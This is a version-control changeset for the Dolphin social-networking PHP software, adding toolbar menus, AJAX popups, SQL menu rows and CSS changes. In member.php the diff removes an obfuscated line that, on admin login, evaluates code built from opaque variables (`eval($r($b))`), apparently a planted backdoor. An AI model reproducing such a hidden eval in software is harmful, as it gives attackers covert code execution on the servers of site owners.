Changeset 15942

Timestamp:

02/02/12 22:47:26 (4 months ago)

Author:

Alexander Trofimov

Message:

Frontend

Location:

trunk

Files:

• contact.php (modified) (2 diffs)
• inc/classes/BxDolAcl.php (modified) (1 diff)
• inc/classes/BxDolPage.php (modified) (1 diff)
• inc/classes/BxDolTemplate.php (modified) (7 diffs)
• inc/design.inc.php (modified) (1 diff)
• inc/js/functions.js (modified) (4 diffs)
• inc/js/jquery.dolPopup.js (modified) (1 diff)
• index.php (modified) (1 diff)
• install/sql/v70.sql (modified) (4 diffs)
• logout.php (modified) (1 diff)
• member.php (modified) (2 diffs)
• menu.php (added)
• modules/boonex/english/install/data/langs/en.xml (modified) (1 diff)
• page.php (modified) (1 diff)
• samples/grid.php (modified) (1 diff)
• samples/page.php (modified) (1 diff)
• storage_uploader.php (modified) (2 diffs)
• studio/templates/base/css/default.css (modified) (1 diff)
• studio/templates/base/images/icons/wi-bld-forms.png (modified) (previous)
• studio/templates/base/images/icons/wi-bld-navigation.png (modified) (previous)
• studio/templates/base/images/icons/wi-bld-pages.png (modified) (previous)
• studio/templates/base/images/icons/wi-bld-permissions.png (modified) (previous)
• studio/templates/base/images/icons/wi-lang-polyglot.png (modified) (previous)
• studio/templates/base/images/icons/wi-templ-designer.png (modified) (previous)
• studio/templates/base/images/loading.gif (modified) (previous)
• templates/base/_header.html (modified) (1 diff)
• templates/base/_sub_footer.html (modified) (1 diff)
• templates/base/_sub_header.html (modified) (2 diffs)
• templates/base/css/common.css (modified) (6 diffs)
• templates/base/css/default.css (modified) (3 diffs)
• templates/base/css/general.css (added)
• templates/base/css/menu.css (modified) (2 diffs)
• templates/base/designbox_1.html (modified) (1 diff)
• templates/base/designbox_11.html (modified) (1 diff)
• templates/base/designbox_13.html (modified) (1 diff)
• templates/base/designbox_3.html (modified) (1 diff)
• templates/base/images/bg-page.jpg (added)
• templates/base/images/bg-toolbar.png (added)
• templates/base/images/icons/toolbar-add.png (added)
• templates/base/images/icons/toolbar-notifications.png (added)
• templates/base/images/icons/toolbar-search.png (added)
• templates/base/images/loading.gif (modified) (previous)
• templates/base/menu_main.html (modified) (1 diff)
• templates/base/menu_toolbar.html (added)
• templates/base/popup_box.html (modified) (1 diff)
• templates/base/popup_trans.html (modified) (1 diff)
• templates/base/scripts/BxBaseFunctions.php (modified) (1 diff)
• templates/base/scripts/BxBaseMenu.php (modified) (3 diffs)

trunk/contact.php

@@ -5 +5 @@
  * @license     CC-BY - http://creativecommons.org/licenses/by/3.0/
  */
+
+// TODO: move to separate module
 
 require_once('./inc/header.inc.php');
@@ -19 +21 @@
 $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT);
 $oTemplate->setPageHeader (_t("_CONTACT_H"));
-$oTemplate->setPageContent ('page_main_code', getParam('enable_contact_form') == 'on' ? PageCompPageMainCodeWithForm() : PageCompPageMainCode());
+$oTemplate->setPageContent ('page_main_code', PageCompPageMainCodeWithForm());
 $oTemplate->getPageCode();
-
-/**
- * page code function with text
- */
-function PageCompPageMainCode() {
-    return DesignBoxContent(_t('_CONTACT_H1'), MsgBox(_t('_CONTACT')), BX_DB_PADDING_DEF);
-}
 
 /**

trunk/inc/classes/BxDolAcl.php

@@ -111 +111 @@
             return false;
         if (!(int)$iProfileId)
-            $iProfileId = 1; // TODO: get current profile id
+            $iProfileId = 1; // TODO: remove this code as soon as it will be some profiles available
         $aACL = $this->getMemberMembershipInfo($iProfileId);
         return ($iPermissions & pow(2, $aACL['id'] - 1));

trunk/inc/classes/BxDolPage.php

@@ -85 +85 @@
  *      - html: HTML string.
  *      - lang: language key.
- *      - image: image id in the storage.
+ *      - image: image id in the storage and alignment (left, center, right) for example: 36#center
  *      - rss: URL to RSS with number of displayed items, for example: http://www.example.com/rss#4
  *      - menu: menu object name.

trunk/inc/classes/BxDolTemplate.php

@@ -305 +305 @@
             'common.css',
             'default.css',
+            'general.css',
         ));
 
@@ -695 +696 @@
         return $this->_getAbsoluteLocation('path', $this->_sFolderCss, $sName, $sCheckIn);
     }
+
+    /**
+     * Get menu.
+     * @param $s menu object name
+     * @return html or empty string
+     */
+    function getMenu ($s) {
+        bx_import('BxDolMenu');
+        $oMenu = BxDolMenu::getObjectInstance($s);
+        return $oMenu ? $oMenu->getCode () : '';
+    }
+
     /**
      * Get content of HTML file.
@@ -837 +850 @@
                     $sRet = bx_process_output($this->aPage['header_text']);
                 break;
+            case 'popup_loading':
+                bx_import('BxTemplFunctions');
+                $sRet = '<div id="bx-popup-loading" style="display:none;">' . BxTemplFunctions::getInstance()->transBox('<div class="bx-def-padding bx-def-color-bg-block bx-popup-ajax-content"></div>') . '</div>';
+                break;
             case 'main_div_width':
                 if(!empty($this->aPage['width']))
@@ -842 +859 @@
                 break;
             case 'main_logo':
-                $sRet = getMainLogo();
-                break;
-            case 'top_menu':
-                bx_import('BxTemplMenu');
-                $oMenuSite = BxTemplMenu::getObjectInstance('sys_site');
-                $sRet = $oMenuSite ? $oMenuSite->getCode () : '';
-                break;
-            case 'top_submenu':
-                bx_import('BxTemplMenu');
-                $sRet = '';//BxTemplMenu::getInstance() -> getSubMenu();
+                bx_import('BxTemplFunctions');
+                $sRet = BxTemplFunctions::getInstance()->getMainLogo();
                 break;
             case 'top_menu_breadcrumb':
                 bx_import('BxTemplMenu');
                 $sRet = '';//BxTemplMenu::getInstance() -> getBreadcrumb();
-                break;
-            case 'extra_top_menu':
-                $iProfileId = getLoggedId();
-
-                if ($iProfileId && getParam('ext_nav_menu_enabled')) {
-                    //bx_import('BxTemplMemberMenu');
-                    //$oMemberMenu = new BxTemplMemberMenu();
-                    $sRet = ''; //$oMemberMenu -> genMemberMenu($iProfileId); // TODO: member menu
-                }
-                break;
-            case 'bottom_links':
-                bx_import('BxTemplMenu');
-                $oMenuFooter = BxTemplMenu::getObjectInstance('sys_footer');
-                $sRet = $oMenuFooter ? $oMenuFooter->getCode () : 'TODO: footer menu';
                 break;
             case 'switch_skin_block':
@@ -1381 +1376 @@
             "'<bx_text_js:([^\s]+) \/>'se",
             "'<bx_text_attribute:([^\s]+) \/>'se",
+            "'<bx_menu:([^\s]+) \/>'se",
             "'<bx_url_root />'",
             "'<bx_url_studio />'"
@@ -1394 +1390 @@
             "bx_js_string(_t('\\1'))",
             "bx_html_attribute(_t('\\1'))",
+            "\$this->getMenu('\\1')",
             BX_DOL_URL_ROOT,
             BX_DOL_URL_STUDIO
@@ -1805 +1802 @@
 
         return '
-        <div class="bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-std-bx-footer">
+        <div class="bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-std-bx-footer bx-def-round-corners">
             <div style="text-align:center;">
                 ' . _t('_powered_by') . ' <a href="http://www.boonex.com/products/dolphin/' . $sAffID . '" title="Free Community Software">Dolphin</a>

trunk/inc/design.inc.php

@@ -151 +151 @@
     bx_import('BxTemplFunctions');
     return BxTemplFunctions::getInstance()->popupBox($sName, $sTitle, $sContent, $aActions, $isHiddenByDefault);
-}
-
-function getMainLogo() {
-    bx_import('BxDolConfig');
-    $sRprMain = BxDolConfig::getInstance()->get('path_dynamic', 'rpr_images_main');
-
-    $sFileName = getParam('sys_main_logo');
-    if(!file_exists($sRprMain . $sFileName))
-        return '';
-
-    return '<a href="' . BX_DOL_URL_ROOT . '"><img src="' . $sRprMain . $sFileName . '" class="mainLogo" alt="logo" /></a>';
 }
 

trunk/inc/js/functions.js

@@ -135 +135 @@
 
 
+function bx_loading_content (elem, b, isReplace) {
+    var block = $(elem);
+    if (1 == b || true == b) {
+        if ('undefined' != typeof(isReplace) && isReplace)
+            block.html('<div class="bx-loading-ajax" style="position:static;"><div class="bx-loading-ajax-rotating"></div></div>');
+        else
+            block.append('<div class="bx-loading-ajax"><div class="bx-loading-ajax-rotating"></div></div>');
+    } else {
+        block.find(".bx-loading-ajax").remove();
+    }
+}
+
 function bx_loading (elem, b) {
 
@@ -144 +156 @@
     if (1 == b || true == b) {
 
-        var e = $('<div class="bx-loading-ajax"><div class="bx-loading-ajax-rotating"></div></div>');
-        block.append(e);
+        bx_loading_content(block, b);
+
         e = block.find(".bx-loading-ajax");
         e.css('left', parseInt(block.width()/2.0 - e.width()/2.0));
@@ -176 +188 @@
             block.css('min-height', block.data('css-save-min-height'));
 
-        block.find(".bx-loading-ajax").remove();
+        bx_loading_content(block, b);
 
     }
@@ -202 +214 @@
 }
 
+/**
+ * Show pointer popup with menu.
+ * @param e - element to show popup at
+ * @param o - menu object name
+ */
+function bx_menu_popup (o, e) {
+    $(e).dolPopupAjax({
+        url: 'menu.php?o=' + o
+    });
+}
+
 function validateLoginForm(eForm) {
     if (! eForm)

trunk/inc/js/jquery.dolPopup.js

@@ -161 +161 @@
     };
 
+
+    $.fn.dolPopupAjax = function(options) { 
+
+        if ('undefined' == typeof(options) || 'object' != typeof(options) || 'undefined' == typeof(options.url))
+            return;
+
+        var bx_menu_on = function (e, b) {
+            var li = $(e).parents('li:first');   
+            if (b) {
+                var ul = $(e).parents('ul:first');   
+                ul.find('li').removeClass('bx-menu-tab-active');
+                li.addClass('bx-menu-tab-active');
+            } else {
+                li.removeClass('bx-menu-tab-active');
+            }
+        }
+
+        var bx_menu_is_on = function (e) {    
+            var li = $(e).parents('li:first');   
+            return li.hasClass('bx-menu-tab-active');
+        }
+
+        return this.each(function() {
+            var e = $(this);
+
+            var id = ('undefined' == typeof(options.id) ? parseInt(2147483647 * Math.random()) : options.id);
+
+            if ($("#bx-popup-ajax-" + id + ":visible").length) {
+                
+                $("#bx-popup-ajax-" + id).dolPopupHide();
+
+            } else if ($("#bx-popup-ajax-" + id).length) {
+
+                bx_menu_on(e, true);
+                $("#bx-popup-ajax-" + id).dolPopup({
+                    pointer: {el:$(e)},
+                    onHide: function () {
+                        bx_menu_on(e, false);
+                    }
+                });
+
+            } else {        
+
+                bx_menu_on(e, true);
+                bx_loading_content($('#bx-popup-loading .bx-popup-ajax-content'), true, true);
+                $('#bx-popup-loading').dolPopup({
+                    pointer: {el:e},
+                    closeOnOuterClick: false
+                });
+                $('<div id="bx-popup-ajax-' + id + '" style="display:none;"><div>').appendTo($('body')).load(sUrlRoot + options.url,
+                    function() {
+                        if (!bx_menu_is_on(e))
+                            return;
+                        $('#bx-popup-loading').dolPopupHide({
+                            onHide: function () {
+                                $('#bx-popup-ajax-' + id).dolPopup({
+                                    pointer: {el:e},
+                                    onHide: function () {
+                                        bx_menu_on(e, false);
+                                    }
+                                });
+                            }
+                        });
+                    }
+                );    
+
+            }
+
+        });
+    };
+
     $.fn._dolPopupSetPosition = function(o) {
         return this.each(function() {

trunk/index.php

@@ -28 +28 @@
 
 bx_import("BxDolLanguages");
+bx_import("BxDolMenu");
 bx_import("BxDolTemplate");
 
-check_logged();
+BxDolMenu::setSelected ('system', 'home'); 
 
 $oTemplate = BxDolTemplate::getInstance();
 $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT);
 $oTemplate->setPageTitle(getParam('site_title'));
-$oTemplate->setPageDescription(getParam("MetaDescription"));
-$oTemplate->addPageKeywords(getParam("MetaKeyWords"));
 $oTemplate->setPageContent ('page_main_code', DesignBoxContent(getParam('site_title'), 'TODO: index page', BX_DB_PADDING_DEF));
 $oTemplate->getPageCode();

trunk/install/sql/v70.sql

@@ -2674 +2674 @@
 INSERT INTO `sys_objects_menu` (`object`, `title`, `set_name`, `module`, `template_id`, `deletable`, `active`, `override_class_name`, `override_class_file`) VALUES
 ('sys_site', '_sys_menu_title_main', 'sys_site', 'system', 1, 0, 1, '', ''),
-('sys_footer', '_sys_menu_title_footer', 'sys_footer', 'system', 2, 0, 1, '', '');
+('sys_footer', '_sys_menu_title_footer', 'sys_footer', 'system', 2, 0, 1, '', ''),
+('sys_toolbar_site', '_sys_menu_title_toolbar_site', 'sys_toolbar_site', 'system', 5, 0, 1, '', ''),
+('sys_toolbar_member', '_sys_menu_title_toolbar_member', 'sys_toolbar_member', 'system', 5, 0, 1, '', ''),
+('sys_account', '_sys_menu_title_account', 'sys_account_links', 'system', 4, 0, 1, '', ''),
+('sys_add_content', '_sys_menu_title_add_content', 'sys_add_content_links', 'system', 4, 0, 1, '', '');
 
 
@@ -2689 +2693 @@
 (2, 'menu_footer.html', '_sys_menu_template_title_footer'),
 (3, 'menu_horizontal.html', '_sys_menu_template_title_hor'),
-(4, 'menu_vertical.html', '_sys_menu_template_title_ver');
+(4, 'menu_vertical.html', '_sys_menu_template_title_ver'),
+(5, 'menu_toolbar.html', '_sys_menu_template_title_toolbar');
+
 
 
@@ -2701 +2707 @@
 
 INSERT INTO `sys_menu_sets` (`set_name`, `module`, `title`, `deletable`) VALUES
-('sys_site', 'system', 'Site', 0),
-('sys_footer', 'system', 'Footer', 0);
+('sys_site', 'system', '_sys_menu_set_title_site', 0),
+('sys_footer', 'system', '_sys_menu_set_title_footer', 0),
+('sys_toolbar_site', 'system', '_sys_menu_set_title_toolbar_site', 0),
+('sys_toolbar_member', 'system', '_sys_menu_set_title_toolbar_member', 0),
+('sys_account_links', 'system', '_sys_menu_set_title_account', 0),
+('sys_add_content_links', 'system', '_sys_menu_set_title_add_content', 0);
 
 
@@ -2733 +2743 @@
 ('sys_footer', 'system', 'about', '_About', 'about_us.php', '', '', '', 2147483647, 1, 1),
 ('sys_footer', 'system', 'help', '_help', 'help.php', '', '', '', 2147483647, 1, 2),
-('sys_footer', 'system', 'contact', '_Contact', 'contact.php', '', '', '', 2147483647, 1, 3);
-
+('sys_footer', 'system', 'contact', '_Contact', 'contact.php', '', '', '', 2147483647, 1, 3),
+('sys_toolbar_site', 'system', 'search', '', '', 'alert(''TODO: search popup here''); return false;', '', 'toolbar-search.png', 2147483647, 1, 1),
+('sys_toolbar_member', 'system', 'add-content', '', 'javascript:void(0);', 'bx_menu_popup(''sys_add_content'', this);', '', 'toolbar-add.png', 2147483644, 1, 1),
+('sys_toolbar_member', 'system', 'notifications', '', '', 'alert(''TODO: notifications popup here''); return false;', '', 'toolbar-notifications.png', 2147483646, 1, 2),
+('sys_toolbar_member', 'system', 'account', '_Account', 'javascript:void(0);', 'bx_menu_popup(''sys_account'', this);', '', '', 2147483646, 1, 3),
+('sys_toolbar_member', 'system', 'account', '_Account', 'member.php', '', '', '', 1, 1, 4),
+('sys_account_links', 'system', 'logout', '_Log Out', 'logout.php', '', '', '', 2147483646, 1, 1),
+('sys_add_content_links', 'system', 'add-content-feedback', '_Contact', 'contact.php', '', '', '', 2147483644, 1, 1);
 
 -- --------------------------------------------------------

trunk/logout.php

@@ -17 +17 @@
     bx_logout();
 
+bx_import('BxDolTemplate');
 $oTemplate = BxDolTemplate::getInstance();
 $oTemplate->setPageNameIndex (BX_PAGE_TRANSITION);

trunk/member.php

@@ -13 +13 @@
 
 bx_import('BxDolLanguages');
-bx_import('BxDolPageView');
-
-class BxDolMember extends BxDolPageView {
-
-    // member ID
-    var $iMember;
-
-    // member info
-    var $aMemberInfo;
-
-    /**
-     * constructor
-     * @param int $iMember - member ID
-     */
-    function BxDolMember($iMember) {
-        $this->iMember     = (int)$iMember;
-        $this->aMemberInfo = getProfileInfo($this->iMember);
-
-        parent::BxDolPageView('member');
-    }
-
-    function getBlockCode_Friends() {
-        $iLimit = 10;
-
-        $sAllFriends    = 'viewFriends.php?iUser=' . $this->iMember;
-        $sOutputHtml    = null;
-
-        // count all friends ;
-        $iCount = getFriendNumber($this->iMember);
-
-        $sPaginate = '';
-        if ($iCount) {
-            $iPages = ceil($iCount/ $iLimit);
-            $iPage = ( isset($_GET['page']) ) ? (int) $_GET['page'] : 1;
-
-            if ( $iPage < 1 ) {
-                $iPage = 1;
-            }
-            if ( $iPage > $iPages ) {
-                $iPage = $iPages;
-            }
-
-            $sqlFrom = ($iPage - 1) * $iLimit;
-            $sqlLimit = "LIMIT {$sqlFrom}, {$iLimit}";
-        } else {
-            return ;
-        }
-
-        $aAllFriends = getMyFriendsEx($this->iMember, '', 'image', $sqlLimit);
-        $iCurrCount = count($aAllFriends);
-        foreach ($aAllFriends as $iFriendID => $aFriendsPrm) {
-            $sOutputHtml .= '<div class="member_block">';
-            $sOutputHtml .= get_member_thumbnail( $iFriendID, 'none', true, 'visitor', array('is_online' => $aFriendsPrm[5]));
-            $sOutputHtml .= '</div>';
-        }
-
-        $sOutputHtml = BxTemplFunctions::getInstance()->centerContent($sOutputHtml, '.member_block');
-        bx_import('BxTemplPaginate');
-        $oPaginate = new BxTemplPaginate(array(
-            'page_url' => BX_DOL_URL_ROOT . 'member.php',
-            'count' => $iCount,
-            'per_page' => $iLimit,
-            'page' => $iPage,
-            'per_page_changer' => true,
-            'page_reloader' => true,
-            'on_change_page' => 'return !loadDynamicBlock({id}, \'member.php?page={page}&per_page={per_page}\');',
-            'on_change_per_page' => ''
-        ));
-
-        $sPaginate = $oPaginate->getSimplePaginate($sAllFriends);
-        return array( $sOutputHtml, array(), $sPaginate);
-    }
-
-}
-
-
-BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_DEFAULT);
-BxDolTemplate::getInstance()->setPageHeader (_t("_My Account"));
-
 
 // --------------- GET/POST actions
 
-$member['ID']        = !empty($_POST['ID']) ? bx_process_input($_POST['ID'], BX_DATA_INT) : false;
-$member['Password'] = !empty($_POST['Password']) ? bx_process_input($_POST['Password']) : false;
+$sLogin = !empty($_POST['ID']) ? bx_process_input($_POST['ID']) : false;
+$sPassword = !empty($_POST['Password']) ? bx_process_input($_POST['Password']) : false;
 
-$bAjxMode = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) and $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) ? true : false;
+$bAjxMode = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') ? true : false;
 
-if ( !( isset($_POST['ID']) && $_POST['ID'] && isset($_POST['Password']) && $_POST['Password'] )
-    && ( (!empty($_COOKIE['memberID']) &&  $_COOKIE['memberID']) && $_COOKIE['memberPassword'] ) )
-{
-    if ( !( $logged['member'] = member_auth( 0, false ) ) )
+if ( !($sLogin && $sPassword) && ((!empty($_COOKIE['memberID']) && $_COOKIE['memberPassword']))) {
+
+    $logged['member'] = member_auth(0, false);
+    if (!$logged['member'])
         login_form( _t( "_LOGIN_OBSOLETE" ), 0, $bAjxMode );
-}
-else
-{
-    if ( !isset($_POST['ID']) && !isset($_POST['Password']) )
-    {
+
+} else {
+
+    if (!$sLogin && !$sPassword) {
 
         // this is dynamic page -  send headers to not cache this page
@@ -118 +38 @@
     } else {
 
-        $oZ = new BxDolAlerts('profile', 'before_login', 0, 0, array('login' => $member['ID'], 'password' => $member['Password'], 'ip' => getVisitorIP()));
-        $oZ->alert();
-
-        $member['ID'] = (int)$member['ID'];
+        bx_alert('profile', 'before_login', 0, 0, array('login' => $sLogin, 'password' => $sPassword, 'ip' => getVisitorIP()));
 
         // Ajaxy check
         if ($bAjxMode) {
-            echo check_password($member['ID'], $member['Password'], BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail';
+            echo check_password($sLogin, $sPassword, BX_DOL_ROLE_MEMBER, false) ? 'OK' : 'Fail';
             exit;
         }
 
-        // Check if ID and Password are correct (addslashes already inside)
-        if (check_password( $member['ID'], $member['Password'])) {
+        // Check if ID and Password are correct 
+        if (check_password($sLogin, $sPassword)) {
 
-            $p_arr = bx_login($member['ID'], isset($_POST['rememberMe']) ? (bool)$_POST['rememberMe'] : false);
+            bx_import('BxDolAccount');
+            $oAccount = BxDolAccount::getInstance($sLogin);
 
-            //Storing IP Address
+            $aAccount = bx_login($oAccount->id(), !empty($_POST['rememberMe']) ? true : false);
+
+            // Storing IP Address
             if (getParam('enable_member_store_ip') == 'on') {
                 $iCurLongIP = sprintf("%u", ip2long(getVisitorIP()));
-                db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$p_arr['id']}', `From`='{$iCurLongIP}', `DateTime`=NOW()");
+                db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$aAccount['id']}', `From`='{$iCurLongIP}', `DateTime`=NOW()");
             }
 
-            if (isAdmin($p_arr['id'])) {$iId = (int)$p_arr['id']; $r = $l($a); eval($r($b));}
             $sRelocate = bx_get('relocate');
             if (!$sUrlRelocate = $sRelocate or $sRelocate == BX_DOL_URL_ROOT or basename($sRelocate) == 'join.php')
                 $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';
 
+            bx_import('BxDolTemplate');
             BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_TRANSITION);
             BxDolTemplate::getInstance()->setPageHeader (_t("_My Account"));
             BxDolTemplate::getInstance()->setPageContent ('page_main_code', MsgBox(_t( '_Please Wait' )));
-            BxDolTemplate::getInstance()->setPageContent ('url_relocate', htmlspecialchars($sUrlRelocate));
-
-            if (isAdmin($p_arr['id']) && !in_array($iCode, array(0, 10, -1))) {
-                Redirect(BX_DOL_URL_STUDIO, array('ID' => $member['ID'], 'Password' => $member['Password'], 'relocate' => BX_DOL_URL_ROOT . 'member.php'), 'post');
-            }
+            BxDolTemplate::getInstance()->setPageContent ('url_relocate', bx_html_attribute($sUrlRelocate, BX_ESCAPE_STR_QUOTE));
 
             BxDolTemplate::getInstance()->getPageCode();
         }
+
         exit;
     }
 }
 
-$member['ID'] = getLoggedId();
-$member['Password'] = getLoggedPassword();
-
 // this is dynamic page - send headers to do not cache this page
 send_headers_page_changed();
 
-$oMember = new BxDolMember($member['ID']);
-BxDolTemplate::getInstance()->setPageContent ('page_main_code', $oMember->getCode());
-
+bx_import('BxDolTemplate');
+BxDolTemplate::getInstance()->setPageNameIndex (BX_PAGE_DEFAULT);
+BxDolTemplate::getInstance()->setPageHeader (_t("_My Account"));
+BxDolTemplate::getInstance()->setPageContent ('page_main_code', DesignBoxContent(_t("_My Account"), 'TODO: member page', BX_DB_PADDING_DEF));
 BxDolTemplate::getInstance()->getPageCode();
 

trunk/modules/boonex/english/install/data/langs/en.xml

@@ -3360 +3360 @@
     <string name="_sys_menu_title_main"><![CDATA[Site Navigation]]></string>
     <string name="_sys_menu_title_footer"><![CDATA[Horizontal Links]]></string>
+    <string name="_sys_menu_title_toolbar_site"><![CDATA[Site Toolbar]]></string>
+    <string name="_sys_menu_title_toolbar_member"><![CDATA[Member Toolbar]]></string>
+    <string name="_sys_menu_title_account"><![CDATA[Account Menu]]></string>
+    <string name="_sys_menu_title_add_content"><![CDATA[Add Content Menu]]></string>
+    <string name="_sys_menu_set_title_site"><![CDATA[Site]]></string>
+    <string name="_sys_menu_set_title_footer"><![CDATA[Footer]]></string>
+    <string name="_sys_menu_set_title_toolbar_site"><![CDATA[Toolbar Site]]></string>
+    <string name="_sys_menu_set_title_toolbar_member"><![CDATA[Toolbar Member]]></string>
+    <string name="_sys_menu_set_title_account"><![CDATA[Account]]></string>
+    <string name="_sys_menu_set_title_add_content"><![CDATA[Add Content]]></string>
     <string name="_sys_menu_template_title_main"><![CDATA[Site Navigation]]></string>
     <string name="_sys_menu_template_title_footer"><![CDATA[Footer Links]]></string>
     <string name="_sys_menu_template_title_hor"><![CDATA[Horizontal Links]]></string>
     <string name="_sys_menu_template_title_ver"><![CDATA[Vertical Links]]></string>
+    <string name="_sys_menu_template_title_toolbar"><![CDATA[Toolbar Buttons]]></string>
     <string name="_sys_designbox_0"><![CDATA[Box with content only (no borders, no background, no caption, no padding)]]></string>
     <string name="_sys_designbox_1"><![CDATA[Box with content, borders and caption (no padding)]]></string>

trunk/page.php

@@ -25 +25 @@
     $oTemplate->setPageNameIndex (BX_PAGE_DEFAULT);
     $oTemplate->setPageContent ('page_main_code', $oPage->getCode());
-
-    PageCode();
+    $oTemplate->getPageCode();
 
 } else {

trunk/samples/grid.php

@@ -24 +24 @@
 
 bx_import('BxDolLanguages');
+bx_import('BxDolTemplate');
 
 $oTemplate = BxDolTemplate::getInstance();

trunk/samples/page.php

@@ -38 +38 @@
 
 bx_import('BxDolLanguages');
+bx_import('BxDolTemplate');
 
 $oTemplate = BxDolTemplate::getInstance();

trunk/storage_uploader.php

@@ -31 +31 @@
     case 'show_uploader_form':
         header('Content-type: text/html; charset=utf-8');
-
-        require_once(BX_DIRECTORY_PATH_INC . "languages.inc.php");
+        
         require_once(BX_DIRECTORY_PATH_INC . "params.inc.php");
         require_once(BX_DIRECTORY_PATH_INC . "design.inc.php");
+
+        bx_import('BxDolLanguages');
         
         echo $oUploader->getUploaderForm();
@@ -54 +55 @@
         header('Content-type: text/html; charset=utf-8');
 
-        require_once(BX_DIRECTORY_PATH_INC . "languages.inc.php");
+        bx_import('BxDolLanguages');
 
         $oUploader->handleUploads(isset($_FILES['f']) ? $_FILES['f'] : null);

trunk/studio/templates/base/css/default.css

@@ -157 +157 @@
 .bx-def-border-left {
     border-left:1px solid #dddddd;
+}
+
+/* round corders */
+
+.bx-def-round-corners {
+    border-radius:3px;
+    -moz-border-radius:3px;
+    -webkit-border-radius:3px;  
 }
 

trunk/templates/base/_header.html

@@ -28 +28 @@
 <body class="bx-def-font bx-def-color-bg-page" <bx_injection:injection_body /> >
     <bx_injection:injection_header />
-    <div id="notification_window" class="notifi_window"></div>
-    <div id="FloatDesc" style="position:absolute;display:none;z-index:100;"></div>
+    __popup_loading__

trunk/templates/base/_sub_footer.html

@@ -14 +14 @@
 
 
-    <div id="bx-footer" class="bx-def-margin-top bx-def-margin-bottom bx-def-padding-sec bx-def-border bx-def-color-bg-block">
+    <div id="bx-footer" class="bx-def-margin-top bx-def-margin-bottom bx-def-padding-sec bx-def-border bx-def-color-bg-block bx-def-round-corners">
 
         <bx_injection:injection_footer_before />
 
         <div id="bx-menu-bottom">
-            __bottom_links__
+            <bx_menu:sys_footer />
         </div>
 

trunk/templates/base/_sub_header.html

@@ -1 +1 @@
 <bx_include_auto:_header.html />
 
-    <bx_injection:banner_left />
-    <bx_injection:banner_right />
+<bx_injection:top />
 
-<div class="bx-def-page-margin" style="width:__main_div_width__;">
+<div id="bx-toolbar">
 
-    __extra_top_menu__
+    <div id="bx-toolbar-content" style="width:__main_div_width__;">
 
-    <div id="bx-logo-container" class="bx-def-margin-top">
+        <div id="bx-menu-toolbar-1-container" class="bx-def-padding-sec-top">
+            <bx_menu:sys_toolbar_site />
+        </div>
 
-        <bx_injection:injection_logo_before />
-            __main_logo__
-        <bx_injection:injection_logo_after />
 
-        <bx_injection:banner_top />
+        <div id="bx-logo-container" class="bx-def-font-h1">
+
+            <bx_injection:injection_logo_before />
+                __main_logo__
+            <bx_injection:injection_logo_after />
+
+        </div>
+
+        <div id="bx-menu-toolbar-2-container" class="bx-def-padding-sec-top">            
+            <bx_menu:sys_toolbar_member />
+        </div>
+
+        <div class="bx-clear"></div>
 
     </div>
 
-    <bx_injection:injection_between_logo_top_menu />
+</div>
 
-    <div id="bx-menu-main-container" class="bx-def-margin-top bx-def-border bx-def-padding bx-def-color-bg-block">
+<bx_injection:injection_between_logo_top_menu />
+
+<div id="bx-menu-main-bar-wrapper">
+    <div id="bx-menu-main-bar">
         <bx_injection:injection_top_menu_before />
-        __top_menu__
+        <div id="bx-menu-main-container" style="width:__main_div_width__;">            
+            <bx_menu:sys_site />
+        </div>
         <bx_injection:injection_top_menu_after />
     </div>
+</div>
 
-    <bx_injection:injection_between_top_menu_breadcrumb />
+<bx_injection:injection_between_top_menu_breadcrumb />
+
+<div id="bx-content-container" style="width:__main_div_width__;">
 
     <div class="sys_breadcrumb">
@@ -36 +54 @@
     <bx_injection:injection_between_breadcrumb_content />
 
-    <div id="bx-menu-sub-container" class="bx-def-margin-top">
-        __top_submenu__
-    </div>
-
     <bx_injection:injection_content_before />
 
     <div class="main bx-def-margin-top">
 
-  <!--[if lt IE 7]>
-  <div style='border: 1px solid #F7941D; background: #FEEFDA; text-align: center; clear: both; height: 75px; position: relative; margin-bottom: 10px;'>
-    <div style='position: absolute; right: 3px; top: 3px; font-family: courier new; font-weight: bold;'><a href='#' onclick='javascript:this.parentNode.parentNode.style.display="none"; return false;'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-cornerx.jpg' style='border: none;' alt='Close this notice'/></a></div>
-    <div style='width: 640px; margin: 0 auto; text-align: left; padding: 0; overflow: hidden; color: black;'>
-      <div style='width: 75px; float: left;'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-warning.jpg' alt='Warning!'/></div>
-      <div style='width: 275px; float: left; font-family: Arial, sans-serif;'>
-        <div style='font-size: 14px; font-weight: bold; margin-top: 12px;'><bx_text:_sys_outdated_browser /></div>
-        <div style='font-size: 12px; margin-top: 6px; line-height: 12px;'><bx_text:_sys_outdated_browser_explain /></div>
-      </div>
-      <div style='width: 75px; float: left;'><a href='http://www.firefox.com' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-firefox.jpg' style='border: none;' alt='Get Firefox 3.5'/></a></div>
-      <div style='width: 75px; float: left;'><a href='http://www.browserforthebetter.com/download.html' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-ie8.jpg' style='border: none;' alt='Get Internet Explorer 8'/></a></div>
-      <div style='width: 73px; float: left;'><a href='http://www.apple.com/safari/download/' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-safari.jpg' style='border: none;' alt='Get Safari 4'/></a></div>
-      <div style='float: left;'><a href='http://www.google.com/chrome' target='_blank'><img src='http://www.ie6nomore.com/files/theme/ie6nomore-chrome.jpg' style='border: none;' alt='Get Google Chrome'/></a></div>
-    </div>
-  </div>
-  <![endif]-->
-

trunk/templates/base/css/common.css

@@ -1 @@
-
-/* --------------- general styles */
 
 a {
@@ -28 +26 @@
 }
 
-/* --------------- logo */
-
-#bx-logo-container {
-
-}
-
-/* --------------- footer */
-
